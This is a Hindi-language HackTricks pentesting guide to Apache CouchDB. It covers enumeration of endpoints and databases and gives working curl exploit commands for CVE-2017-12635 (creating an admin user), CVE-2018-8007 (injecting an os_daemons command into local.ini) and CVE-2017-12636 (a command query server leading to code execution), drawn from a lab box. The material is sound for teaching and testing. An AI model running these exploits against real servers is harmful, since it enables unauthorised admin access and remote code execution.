5984,6984 - Pentesting CouchDB

Support HackTricks

बुनियादी जानकारी

CouchDB एक बहुपरकारी और शक्तिशाली दस्तावेज़-उन्मुख डेटाबेस है जो डेटा को प्रत्येक दस्तावेज़ के भीतर की-मान मानचित्र संरचना का उपयोग करके व्यवस्थित करता है। दस्तावेज़ के भीतर फ़ील्ड को की/मान जोड़े, सूचियों, या मानचित्रों के रूप में दर्शाया जा सकता है, जो डेटा संग्रहण और पुनर्प्राप्ति में लचीलापन प्रदान करता है।

CouchDB में संग्रहीत प्रत्येक दस्तावेज़ को दस्तावेज़ स्तर पर एक विशिष्ट पहचानकर्ता (_id) सौंपा जाता है। इसके अतिरिक्त, डेटाबेस में किए गए और सहेजे गए प्रत्येक संशोधन को एक संशोधन संख्या (_rev) सौंपा जाता है। यह संशोधन संख्या परिवर्तनों के कुशल ट्रैकिंग और प्रबंधन की अनुमति देती है, जिससे डेटाबेस के भीतर डेटा की आसान पुनर्प्राप्ति और समन्वय की सुविधा होती है।

डिफ़ॉल्ट पोर्ट: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

स्वचालित गणना

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

मैनुअल एन्यूमरेशन

बैनर

curl http://IP:5984/

यह स्थापित CouchDB उदाहरण के लिए एक GET अनुरोध जारी करता है। उत्तर कुछ इस तरह दिखना चाहिए:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

ध्यान दें कि यदि आप couchdb की रूट तक पहुँचते हैं और आपको 401 Unauthorized मिलता है, जैसे कि: {"error":"unauthorized","reason":"Authentication required."} आप बैनर या किसी अन्य एंडपॉइंट तक पहुँच नहीं पाएंगे

Info Enumeration

ये वे एंडपॉइंट हैं जहाँ आप GET अनुरोध के साथ पहुँच सकते हैं और कुछ दिलचस्प जानकारी निकाल सकते हैं। आप couchdb दस्तावेज़ में अधिक एंडपॉइंट और अधिक विस्तृत विवरण पा सकते हैं

  • /_active_tasks चल रहे कार्यों की सूची, जिसमें कार्य का प्रकार, नाम, स्थिति और प्रक्रिया ID शामिल है।

  • /_all_dbs CouchDB उदाहरण में सभी डेटाबेस की सूची लौटाता है।

  • /_cluster_setup नोड या क्लस्टर की स्थिति लौटाता है, क्लस्टर सेटअप विज़ार्ड के अनुसार।

  • /_db_updates CouchDB उदाहरण में सभी डेटाबेस घटनाओं की सूची लौटाता है। इस एंडपॉइंट का उपयोग करने के लिए _global_changes डेटाबेस का अस्तित्व आवश्यक है।

  • /_membership क्लस्टर का हिस्सा होने वाले नोड्स को cluster_nodes के रूप में प्रदर्शित करता है। फ़ील्ड all_nodes उन सभी नोड्स को प्रदर्शित करता है जिनके बारे में इस नोड को पता है, जिसमें क्लस्टर का हिस्सा होने वाले नोड्स भी शामिल हैं।

  • /_scheduler/jobs पुनरावृत्ति कार्यों की सूची। प्रत्येक कार्य विवरण में स्रोत और लक्ष्य जानकारी, पुनरावृत्ति ID, हाल की घटनाओं का इतिहास, और कुछ अन्य चीजें शामिल होंगी।

  • /_scheduler/docs पुनरावृत्ति दस्तावेज़ राज्यों की सूची। सभी दस्तावेज़ों के बारे में जानकारी शामिल है, यहां तक कि completed और failed राज्यों में भी। प्रत्येक दस्तावेज़ के लिए यह दस्तावेज़ ID, डेटाबेस, पुनरावृत्ति ID, स्रोत और लक्ष्य, और अन्य जानकारी लौटाता है।

  • /_scheduler/docs/{replicator_db}

  • /_scheduler/docs/{replicator_db}/{docid}

  • /_node/{node-name} /_node/{node-name} एंडपॉइंट का उपयोग उस सर्वर के Erlang नोड नाम की पुष्टि करने के लिए किया जा सकता है जो अनुरोध को संसाधित करता है। यह /_node/_local तक पहुँचने पर इस जानकारी को प्राप्त करने के लिए सबसे उपयोगी है।

  • /_node/{node-name}/_stats _stats संसाधन एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए सांख्यिकी होती है। शाब्दिक स्ट्रिंग _local स्थानीय नोड नाम के लिए एक उपनाम के रूप में कार्य करता है, इसलिए सभी सांख्यिकी URL के लिए, {node-name} को _local के साथ प्रतिस्थापित किया जा सकता है, ताकि स्थानीय नोड की सांख्यिकी के साथ बातचीत की जा सके।

  • /_node/{node-name}/_system _systemresource एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए विभिन्न सिस्टम-स्तरीय सांख्यिकी होती है_._ आप वर्तमान नोड जानकारी प्राप्त करने के लिए {node-name} के रूप में ___local का उपयोग कर सकते हैं।

  • /_node/{node-name}/_restart

  • /_up पुष्टि करता है कि सर्वर चालू है, चल रहा है, और अनुरोधों का उत्तर देने के लिए तैयार है। यदि maintenance_mode true या nolb है, तो एंडपॉइंट 404 प्रतिक्रिया लौटाएगा।

  • /_uuids CouchDB उदाहरण से एक या अधिक यूनिवर्सली यूनिक आइडेंटिफायर (UUIDs) का अनुरोध करता है।

  • /_reshard क्लस्टर पर पुनःशार्दन की स्थिति के साथ पूर्ण, विफल, चल रहे, रुके हुए, और कुल कार्यों की संख्या लौटाता है।

यहाँ समझाए गए अनुसार अधिक दिलचस्प जानकारी निकाली जा सकती है: https://lzone.de/cheat-sheet/CouchDB

Database List

curl -X GET http://IP:5984/_all_dbs

यदि वह अनुरोध 401 अनधिकृत के साथ प्रतिक्रिया करता है, तो आपको डेटाबेस तक पहुँचने के लिए कुछ मान्य क्रेडेंशियल्स की आवश्यकता है:

curl -X GET http://user:password@IP:5984/_all_dbs

Valid Credentials खोजने के लिए आप कोशिश कर सकते हैं सेवा को ब्रूटफोर्स करें.

यह एक उदाहरण है एक couchdb प्रतिक्रिया का जब आपके पास पर्याप्त विशेषाधिकार होते हैं डेटाबेस की सूची बनाने के लिए (यह केवल डेटाबेस की एक सूची है):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Database Info

आप कुछ डेटाबेस जानकारी (जैसे फ़ाइलों की संख्या और आकार) डेटाबेस नाम तक पहुँचकर प्राप्त कर सकते हैं:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

दस्तावेज़ सूची

डेटाबेस के अंदर प्रत्येक प्रविष्टि की सूची बनाएं

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

दस्तावेज़ पढ़ें

एक डेटाबेस के अंदर एक दस्तावेज़ की सामग्री पढ़ें:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB Privilege Escalation CVE-2017-12635

Erlang और JavaScript JSON पार्सर्स के बीच के अंतर के कारण आप निम्नलिखित अनुरोध के साथ एक व्यवस्थापक उपयोगकर्ता बना सकते हैं जिसमें क्रेडेंशियल्स hacktricks:hacktricks हैं:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

इस कमजोरियों के बारे में अधिक जानकारी यहाँ.

CouchDB RCE

Erlang कुकी सुरक्षा अवलोकन

उदाहरण यहाँ से.

CouchDB दस्तावेज़ में, विशेष रूप से क्लस्टर सेट-अप से संबंधित अनुभाग में (लिंक), क्लस्टर मोड में CouchDB द्वारा पोर्ट के उपयोग पर चर्चा की गई है। इसमें उल्लेख किया गया है कि, स्टैंडअलोन मोड की तरह, पोर्ट 5984 का उपयोग किया जाता है। इसके अतिरिक्त, पोर्ट 5986 नोड-स्थानीय APIs के लिए है, और महत्वपूर्ण रूप से, Erlang को Erlang पोर्ट मैपर डेमन (EPMD) के लिए TCP पोर्ट 4369 की आवश्यकता होती है, जो Erlang क्लस्टर के भीतर नोड संचार को सुविधाजनक बनाता है। यह सेटअप एक नेटवर्क बनाता है जहाँ प्रत्येक नोड हर अन्य नोड के साथ इंटरलिंक होता है।

पोर्ट 4369 के बारे में एक महत्वपूर्ण सुरक्षा सलाह को उजागर किया गया है। यदि इस पोर्ट को इंटरनेट या किसी अविश्वसनीय नेटवर्क पर सुलभ बनाया जाता है, तो सिस्टम की सुरक्षा एक अद्वितीय पहचानकर्ता पर भारी निर्भर करती है जिसे "कुकी" कहा जाता है। यह कुकी एक सुरक्षा उपाय के रूप में कार्य करती है। उदाहरण के लिए, एक दिए गए प्रक्रिया सूची में, "monster" नामक कुकी देखी जा सकती है, जो सिस्टम की सुरक्षा ढांचे में इसकी संचालन भूमिका को इंगित करती है।

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

उन लोगों के लिए जो यह समझने में रुचि रखते हैं कि इस "कुकी" का उपयोग कैसे किया जा सकता है Remote Code Execution (RCE) के लिए Erlang सिस्टम के संदर्भ में, आगे पढ़ने के लिए एक समर्पित अनुभाग उपलब्ध है। यह अनधिकृत तरीकों से Erlang कुकीज़ का लाभ उठाने की विधियों का विवरण देता है ताकि सिस्टम पर नियंत्रण प्राप्त किया जा सके। आप यहां RCE के लिए Erlang कुकीज़ का दुरुपयोग करने पर विस्तृत मार्गदर्शिका का अन्वेषण कर सकते हैं

local.ini के संशोधन के माध्यम से CVE-2018-8007 का शोषण

उदाहरण यहां से

हाल ही में प्रकट हुई एक भेद्यता, CVE-2018-8007, जो Apache CouchDB को प्रभावित करती है, का अन्वेषण किया गया, जिसमें यह पता चला कि शोषण के लिए local.ini फ़ाइल पर लिखने की अनुमति की आवश्यकता होती है। हालांकि सुरक्षा प्रतिबंधों के कारण प्रारंभिक लक्षित प्रणाली पर सीधे लागू नहीं किया जा सकता, लेकिन अन्वेषण उद्देश्यों के लिए local.ini फ़ाइल पर लिखने की अनुमति देने के लिए संशोधन किए गए। नीचे विस्तृत चरण और कोड उदाहरण प्रदान किए गए हैं, जो प्रक्रिया को प्रदर्शित करते हैं।

पहले, वातावरण को इस बात की पुष्टि करके तैयार किया जाता है कि local.ini फ़ाइल लिखने योग्य है, जिसे अनुमतियों की सूची बनाकर सत्यापित किया जाता है:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

इस कमजोरियों का लाभ उठाने के लिए, एक curl कमांड निष्पादित की जाती है, जो local.ini में cors/origins कॉन्फ़िगरेशन को लक्षित करती है। यह [os_daemons] अनुभाग के तहत अतिरिक्त कमांड के साथ एक नया मूल जोड़ता है, जिसका उद्देश्य मनमाने कोड को निष्पादित करना है:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

अगली सत्यापन local.ini में इंजेक्ट की गई कॉन्फ़िगरेशन को दिखाती है, जिसमें परिवर्तनों को उजागर करने के लिए एक बैकअप के साथ तुलना की गई है:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

शुरुआत में, अपेक्षित फ़ाइल (/tmp/0xdf) मौजूद नहीं है, जो यह दर्शाता है कि इंजेक्ट किया गया कमांड अभी तक निष्पादित नहीं हुआ है। आगे की जांच से पता चलता है कि CouchDB से संबंधित प्रक्रियाएँ चल रही हैं, जिसमें एक ऐसी प्रक्रिया भी शामिल है जो संभावित रूप से इंजेक्ट किए गए कमांड को निष्पादित कर सकती है:

root@canape:/home/homer/bin# ps aux | grep couch

CouchDB प्रक्रिया को समाप्त करके और सिस्टम को स्वचालित रूप से इसे पुनः प्रारंभ करने की अनुमति देकर, इंजेक्ट किए गए कमांड का निष्पादन ट्रिगर किया जाता है, जिसे पहले गायब फ़ाइल की उपस्थिति से पुष्टि की जाती है:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

यह अन्वेषण विशेष परिस्थितियों के तहत CVE-2018-8007 शोषण की व्यवहार्यता की पुष्टि करता है, विशेष रूप से local.ini फ़ाइल के लिए लिखने योग्य पहुंच की आवश्यकता। प्रदान किए गए कोड उदाहरण और प्रक्रियात्मक चरण नियंत्रित वातावरण में शोषण को दोहराने के लिए एक स्पष्ट मार्गदर्शिका प्रदान करते हैं।

CVE-2018-8007 के बारे में अधिक विवरण के लिए, mdsec द्वारा सलाहकार पर जाएं: CVE-2018-8007

local.ini पर लिखने की अनुमति के साथ CVE-2017-12636 का अन्वेषण

उदाहरण यहां से

CVE-2017-12636 के रूप में ज्ञात एक भेद्यता का अन्वेषण किया गया, जो CouchDB प्रक्रिया के माध्यम से कोड निष्पादन को सक्षम बनाता है, हालांकि विशिष्ट कॉन्फ़िगरेशन इसके शोषण को रोक सकते हैं। ऑनलाइन उपलब्ध कई प्रमाण-कोण (POC) संदर्भों के बावजूद, CouchDB संस्करण 2 पर भेद्यता का शोषण करने के लिए समायोजन आवश्यक हैं, जो सामान्यतः लक्षित संस्करण 1.x से भिन्न है। प्रारंभिक चरणों में CouchDB संस्करण की पुष्टि करना और अपेक्षित क्वेरी सर्वर पथ की अनुपस्थिति की पुष्टि करना शामिल है:

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

CouchDB संस्करण 2.0 के लिए, एक नया पथ उपयोग किया जाता है:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

नए क्वेरी सर्वर को जोड़ने और उसे सक्रिय करने के प्रयासों को अनुमति से संबंधित त्रुटियों का सामना करना पड़ा, जैसा कि निम्नलिखित आउटपुट द्वारा संकेतित है:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

अधिक जांच से पता चला कि local.ini फ़ाइल के साथ अनुमति समस्याएँ थीं, जिसे लिखा नहीं जा सकता था। रूट या होमर एक्सेस के साथ फ़ाइल अनुमतियों को संशोधित करके, आगे बढ़ना संभव हो गया:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

अगले प्रयासों में क्वेरी सर्वर को जोड़ने में सफलता मिली, जैसा कि प्रतिक्रिया में त्रुटि संदेशों की अनुपस्थिति से स्पष्ट है। local.ini फ़ाइल में सफल संशोधन की पुष्टि फ़ाइल तुलना के माध्यम से की गई:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

प्रक्रिया एक डेटाबेस और एक दस्तावेज़ बनाने के साथ जारी रही, इसके बाद नए जोड़े गए क्वेरी सर्वर के लिए कस्टम व्यू मैपिंग के माध्यम से कोड निष्पादित करने का प्रयास किया गया:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

A सारांश जिसमें एक वैकल्पिक पेलोड है, विशेष परिस्थितियों के तहत CVE-2017-12636 का शोषण करने के बारे में और जानकारी प्रदान करता है। इस कमजोरियों का शोषण करने के लिए उपयोगी संसाधन में शामिल हैं:

Shodan

  • port:5984 couchdb

संदर्भ

Support HackTricks

Last updated